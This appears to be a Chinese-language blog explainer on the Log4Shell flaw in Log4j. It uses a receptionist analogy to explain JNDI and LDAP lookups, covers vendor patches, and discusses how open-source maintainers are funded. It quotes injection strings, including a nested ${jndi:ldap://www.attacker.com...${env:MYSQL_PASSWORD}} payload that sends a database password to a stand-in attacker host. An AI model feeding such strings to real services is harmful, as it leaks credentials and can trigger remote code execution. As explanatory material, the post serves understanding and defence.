linda

如果你多少关注信息安全资讯，或许在最近几天已经频繁听到 Log4Shell 这个漏洞的名字——或者一些更具传播性的说法，诸如「互联网正在着火」「过去十年最严重的漏洞」「现代计算机历史上最大漏洞」「难以想到哪家公司不受影响」之类（参见《洛杉矶时报》，12 月 10 日）。
这个被报道得神乎其神的 Log4Shell 漏洞（CVE-2021-44228）所针对的，是一个极为常用的 Java 库 Log4j（详见后文说明）。值得一提，这个漏洞最初是由一名中国工程师、阿里云安全团队的 Chen Zhaojun（微博）在 11 月下旬发现并提报的。
有记录的利用 Log4Shell 漏洞发起的攻击开始于 12 月 9 日，最初是针对微软的 Minecraft 游戏 Java 版。但人们很快发现 Log4Shell 的波及范围远不止于此。根据 GitHub 仓库 YfryTchsGD/Log4jAttackSurface 中的攻击案例截图，Apple iCloud、QQ 邮箱、Steam 商店、Twitter、百度搜索等一系列国内外主流服务或平台均存在该漏洞。
好在，Log4j 已经于 12 日发布 2.15.0 版本，修复了漏洞，并且对于暂不能升级的旧版提供了临时应对方案。
受影响的大型平台也作出快速响应。10 日，Minecraft 发布 1.18.1 版，说明已修复了漏洞；亚马逊发出安全警告称，「正积极监控该问题，并已在寻求解决方案」；IBM、Red Hat、甲骨文、VMware 等知名科技公司也宣称正在部署补丁；Apple 尽管没有官方回应，但根据 11 日的测试，原本受到影响的 iCloud 似乎也已经修复。此外，目前暂无因该漏洞导致重大安全事故的报道。
然而，由于该漏洞影响范围之广，受影响服务完成更新或修补仍需不少时间，因此近期内风险仍不可忽视。事实上，根据以色列安全公司 Check Point 的监测，截至 12 月 12 日凌晨（太平洋时间），该公司已拦截到超过 40 万次针对该漏洞的攻击尝试，其中 45% 以上为已知恶意团体所发起。另根据 BleepingComputer 的报道，现已发现一些利用该漏洞安装挖矿脚本、组建僵尸网络和远程监控的案例。
我对编程和信息安全都是外行，但围绕 Log4Shell 这些抓人眼球的报道，不能不引起我的好奇；漏洞演示中简单到极致的攻击步骤——只是在对话框、搜索框里输入一段特殊文本就能触发——也令我希望一探究竟。
本文就是我在经过粗浅研究后的笔记，旨在向与我类似的非专业用户介绍 Log4Shell 漏洞的机制。时间和能力所限，难免有不准确之处，敬请指正。
记录员的故事如果你跟我之前一样，对这个漏洞的描述一头雾水，不妨先通过下面这个比较粗略的比方来建立一个初步印象。
设想一个单位部门的门口有个登记处，里面坐着一个记录员。每当有人进入，记录员都会在一本访客日志上记下一笔：
<某人> 于 <某日> <某时> 因 <某事> 来访要填写的这些信息中，有些是记录员在下笔之前并不知道的。比如，今天的日期、当前的准确时间，经常需要看一眼日历和手表才能确定；又比如，有的员工嫌报名字麻烦，就干脆报一个工号，让记录员回头自己去花名册里查。
某天，迎面跑来一个急匆匆的身影，还没等记录员问清姓名来意，就扔下一句：我赶路呢，来不及跟你唠废话登记了，你回头打我这个号码，我再跟你说。
老实的记录员也没多想，就记了一笔：
___ 于 12 月 10 日 9:41 因 ___ 来访（回电话 138 XXXX XXXX 问后补）后来，记录员也确实根据来人要求，拨出了电话，追问对方的具体信息。
记录员的做法有什么安全隐患呢？首先，他或许并没有权限用内部电话对外联系，往最轻的方面来说，这也泄露了不对外的内部号码。此外，如果对方来者不善，在通话过程中各种诱导哄骗，记录员还可能有意无意地泄露一些保密信息，以至做一些超越职权、不符合内部规程的事情。
这也就是 Log4Shell 漏洞的核心：它利用 Log4j 这个「日志记录员」看似不起眼、实则功能和权限都不少的模块，通过诱使其对外连接攻击者控制的服务器，达到收集隐私信息、执行恶意代码的目的。
漏洞是怎么运作的？在形象认识的基础上，我们下面继续从技术角度说明 Log4Shell 漏洞的原理。
Log4j 是一个 Java 语言的库（library）。所谓「库」，通俗地说就是服务于特定功能、可以重复利用的软件代码；如果在开发其他软件时需要用到这种功能，直接拿来套用就行了，避免重复劳动。
Log4j 库所实现的功能就类似于上面故事里的记录员——写日志。由于 Java 是一种非常流行的语言，而 Log4j 是最主流、常用的 Java 库之一，它的代码遍及各类主流软件和服务；这就是 Log4Shell 波及范围广泛的原因。
Log4j 是根据配置文件中设定的「模板」来记录日志的。为了增加灵活性，Log4j 的模板中可以留下一些特殊语法的「待定内容」；在实际生成日志时，Log4j 会根据这些语法的指示，通过检索、查询、计算，将这些待定内容替换为实际内容，记录到日志里——正如上面那个记录员通过翻日历、看手表、查花名册，补齐访客记录里的空档一样。
那么，Log4j 都支持补齐哪些「待定内容」呢？根据文档，这主要包括日期时间、运行环境信息（例如用户名、Java 版本、系统语言）、事件信息等。
例如，如果在模板里写 ${date:yyyy-MM-dd}，那么 Log4j 就会将其替换为形如 2021-12-12 的当前日期记录下来；如果在模板里写 ${java:version}，Log4j 就会将其替换为形如 Java version 1.7.0_67 的实际 Java 版本记录下来。
不过，除了这些比较常规的待定内容，Log4j 还支持一种更为复杂的替换方式，称为 JNDI 查询。JNDI（Java Naming and Directory Interface）是 Java 的一项内置功能，它允许 Java 程序在一个目录——可以想象为一个花名册或电话本——中查询数据。
这里，就要提到很多攻击例证里出现的字样——LDAP。LDAP（轻型目录访问协议，Lightweight Directory Access Protocol）是网络世界里一种特别常见的实现「花名册」功能的协议。简而言之，LDAP 通过一种标准化的语法（称为识别名，Distinguished Names 或 DN）记录身份信息。例如：
CN=John Appleseed,OU=Sales,O=Apple表示一个常用名（commonName）为 John Appleseed，所属组织单位（organizationUnit）为 Sales，所属组织（organization）为 Apple 的对象（通常对应一个用户）。
LDAP 支持通过 URL 地址的形式查询信息。例如，访问如下地址：
ldap://ldap.example.com/cn=John%20Appleseed就会向 LDAP 服务器 ldap.example.com 请求常用名为 John Appleseed 的用户信息。
根据文档，JNDI 查询的语法是 ${jndi:<查询位置>}。一般而言，这里的「查询位置」是一个取决于软件运行环境的内部位置，因此 Log4j 会自动给它加上 java:comp/env 的前缀再查询。这就好比在公司内部说「查花名册」，默认就是指查该公司雇员的名册一样。
但特殊地，如果查询位置里包含冒号（:）——最可能的情况就是一个固定的 URL 地址，例如 ${jndi:ldap://ldap.example.com/a}，那么，Log4j 在查询时就不会追加上述前缀，而是直接向这个写死的地址查询数据。
实现漏洞的链条就此串了起来。上述功能组合在一起，造成的结果是：Log4j 在记录日志时，可以通过 JNDI 接口，向一个外部的 LDAP 服务器发送请求。
换言之，只要设法让使用了 Log4j 的程序记下一条内容形如 **${jndi:ldap://ldap.example.com/a}** 的日志，那么记下这条日志的同时，程序就会试图向 **ldap.example.com** 请求查询数据，然后解析查询结果并写进日志。
乍看上去，这似乎也没什么大不了。但是，一方面，日志的来源是广泛而多样的，其内容非常容易被操纵。另一方面，记录日志往往是由一个内部服务器或组件负责的，它们可能根本不应该与一个外部网址通讯。两个因素结合，就使得 Log4Shell 漏洞很容易触发，危害性又很高。
例如，很多服务器会通过日志记录访客的浏览器信息（即 HTTP 请求头中的 User-Agent）、登录的用户名，或者搜索内容。因此，只要将这些信息替换成 ${jndi:ldap://ldap.example.com/a} 之类构造出的内容，就可以通过简单的浏览、登录或搜索操作，往服务器里塞进一条特殊构造的日志，致使服务器访问这条恶意日志中的地址。
需要指出，攻击文本中所用的 ldap.example.com 甚至不需要是一个真正的 LDAP 服务器。因为仅仅是让本不应访问外网的服务器访问外网并留下痕迹，就已经具有一定危害后果了。
留意观察现有攻击例证，会发现很多例子用到的攻击文本中频繁出现 dnslog.cn、ceye.io 等域名。这些网站的功能类似，都是允许生成一个随机网址，该网址被访问时，会记下访问者的 IP 地址等信息并即时显示在页面上。因此，这类网站经常被用来测试注入式漏洞——包括这次的 Log4Shell 漏洞——的效果：如果能成功操作被攻击主机访问自己生成的网址、留下访问记录，则表明攻击是有效的。
例如，在下面的截图中，攻击者将构造的字符串作为用户名来登录 iCloud 账户。显然，这个字符串进入了 iCloud 服务器的日志中，进而触发漏洞，访问了字符串中所包含的域名：
类似地，在下面的 QQ 邮箱截图中，攻击者将构造的字符串填进了邮箱的搜索框，同样导致了腾讯服务器被记录：
又因为 JNDI 查询的语法是可以嵌套的，这进一步将可能泄露的内容范围，扩大到了任何 Log4j 所能接触到的运行环境信息。正如一些用户在 GitHub 上的漏洞讨论中指出，形如 ${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD} 的恶意日志，就会引导 Log4j 首先将内层的 ${env:MYSQL_PASSWORD} 替换为真实的 MySQL 数据库密码，然后通过 URL 泄露给 www.attacker.com。
此外，注意到 JNDI 的本意在于查询——不仅是发出请求，而且会记录和处理查询结果，因此这个漏洞不仅会导致服务器信息泄漏，而且允许攻击者向服务器传递任意危险内容，可能还包括执行恶意代码。 例如，一个正常的 LDAP 服务器在收到查询请求时，返回的只是查询到的用户信息。但如果这是一个攻击者控制的「假」LDAP 服务器，那么它可以返回任意恶意内容——例如一段包含窃取或破坏功能的代码。
例如，上文提到的 BleepingComputer 报道中提到一个现有的真实案例：攻击者将一段使用 base64 编码的终端脚本附在 JNDI 查询指令中，导致被攻击机器下载并安装了挖矿程序：
这种利用程序不经检查地将文本信息还原为对象的功能，注入和执行恶意代码的漏洞，术语称之为 「反序列化漏洞」（deserialization vulnerabilities），本身并非新鲜事物，在 Java 安全语境下也多有讨论。但或许是因为 Log4j 所服务的日志功能相对没那么引人注目，这个漏洞才蛰伏许久方被发现。
最后，当今网络服务往往是由相互通讯的多个组件构成的。因此，即使直接接收恶意信息的组件不受漏洞影响，这则恶意信息也可能通过数据传输，在某一步被一个后端组件所记录和执行；这极大扩展了漏洞的攻击面和危险程度。
Cloudflare 就在针对本漏洞的博文中举例说：假设一个物流数据系统，它读取包裹上的二维码信息，通过 Log4j 记录下来，然后传给后台服务进一步检索处理。那么，攻击者就可以将恶意构造的信息藏在二维码里，通过上述流程传给后台服务执行。
漏洞易补，根源难除尽管 Log4Shell 漏洞的危害很大，但好在修复起来思路并不复杂。正如修复漏洞的 Log4j 2.15 版更新记录所示，其主要的修复方法就是加强对 JNDI 的限制，包括默认仅限访问本地的 LDAP 服务器（而非任意远程位置）、禁用大部分 JNDI 通讯的协议等。
而对于暂没有条件升级到新版 Log4j 的服务，也可以通过设置参数禁止 JNDI 查询，或者直接把 JNDI 查询相关代码切割出去，从而实现弥补漏洞。
此外，「存在漏洞」并不代表「会被利用该漏洞攻击」。正如 Ars Techinica 的文章所指出，网络服务往往设有多层的防护机制。即使其中的一个组件存在漏洞，其风险也可能被其他组件的安全机制所阻挡和弥补。
还是以开头的情景为例，那家公司可能从硬件层面禁止用内部分机拨打外部号码，或者监控、阻断员工未经授权的对外通讯，从而杜绝「记录员」被利用的可能性。
然而，哪怕 Log4Shell 的风波随着补丁推出逐渐消退，这一事件也能促使很多超越漏洞本身的思考。
首先是一个软件系统设计的问题：很多评论都惊讶地指出，Log4j 的权限和「胆子」是不是太大了？区区一个「记录员」的角色，怎么能擅自访问未经鉴别的外部地址、甚至任意执行外部代码呢？即使记录不全需要后续完善，难道不也应该先原样抄录（例如技术上对变量做转义处理，即当作纯文本存储），然后交给职有专司的其他组件来查询和补充吗？
特别是当人们找出罪魁祸首——当初引入这个漏洞的功能提案，发现提案者的主要理由只是为了「方便」后，就更加有理由怀疑这个 JNDI 查询功能的加入是否过于草率了。
对此，一种解释是，这是过时开发思路的遗留。例如，Hacker News 用户 @toyg 指出，早年的 Java 开发偏好这种大而全、一个组件实现多种功能的思路，Log4j 这些令人后怕的「丰富」功能可能就因此而来；他还认为，LDAP 传统上是一个跑在内网上，被推定为「安全」的服务，这也容易让人忘记设置安全防护措施。
其次，作为一个由社区维护的开源项目，Log4j 此次漏洞也让人反思开源维护者是否得到了应有的支持和理解。事件发生后，Log4j 维护者 Volkan Yazici 在一条推文中不无委屈地说：

Log4j 的维护者们废寝忘食地提供补救措施；发补丁、写文档、提交 CVE（通用漏洞披露，信息安全行业通用的安全漏洞披露机制——译注）、回复询问，等等。但这都拦不住人们来责难我们，就为了一项我们未收分文的工作，为了一项我们也讨厌、但为了向后兼容不得不保留的功能。

进而有人从维护者 Ralph Goers 的 GitHub 支持者页面发现一段颇为谦卑的陈述：

我用业余时间开发 Log4j 等开源项目，所以一般只 [有空] 解决那些最感兴趣的问题。我一直梦想全职做开源，希望能靠你的支持梦想成真。

而略显讽刺的是，这段话下面赫然显示「3 人赞助了 rgoers 的工作」（情况曝光后数量略有增加）。
既然 Log4j 的使用如此广泛、在各大主流服务中任劳任怨，那么大厂的担当和风范何在？因此有观点主张，使用开源项目的公司有道德上的责任赞助和支持项目的维护者；还有人提出，大厂即使不提供金钱支持，是不是至少应该义务提供技术力量，辅助改进整个项目，而不是自扫门前雪，修好自己的服务了事？
还有观点指出，这次安全漏洞再次提醒我们，开源不等于安全。尽管开源代码是可以审计的，但很多时候并不会真正有人去认真检查；相反，这还可能让人们放松警惕，为 Log4Shell 这样的严重漏洞留下长期潜伏的空间。
此外，维持旧版兼容性与尽快升级保障安全之间的矛盾，使用外部库节约开发时间与减少不必要对外依赖之间的矛盾，也是软件设计相关的经典议题，它们同样在这次漏洞之后的讨论中被大量提及。
至于作为普通用户，应该如何解读和应对这次事件，其实再简单不过——与各位在这两年的公共卫生局面中学到的经验是一样的：不传谣，相信科学，勤听新闻，做好个人防护。


原文：https://type.cyhsu.xyz/2021/12/understand-log4shell-exploit/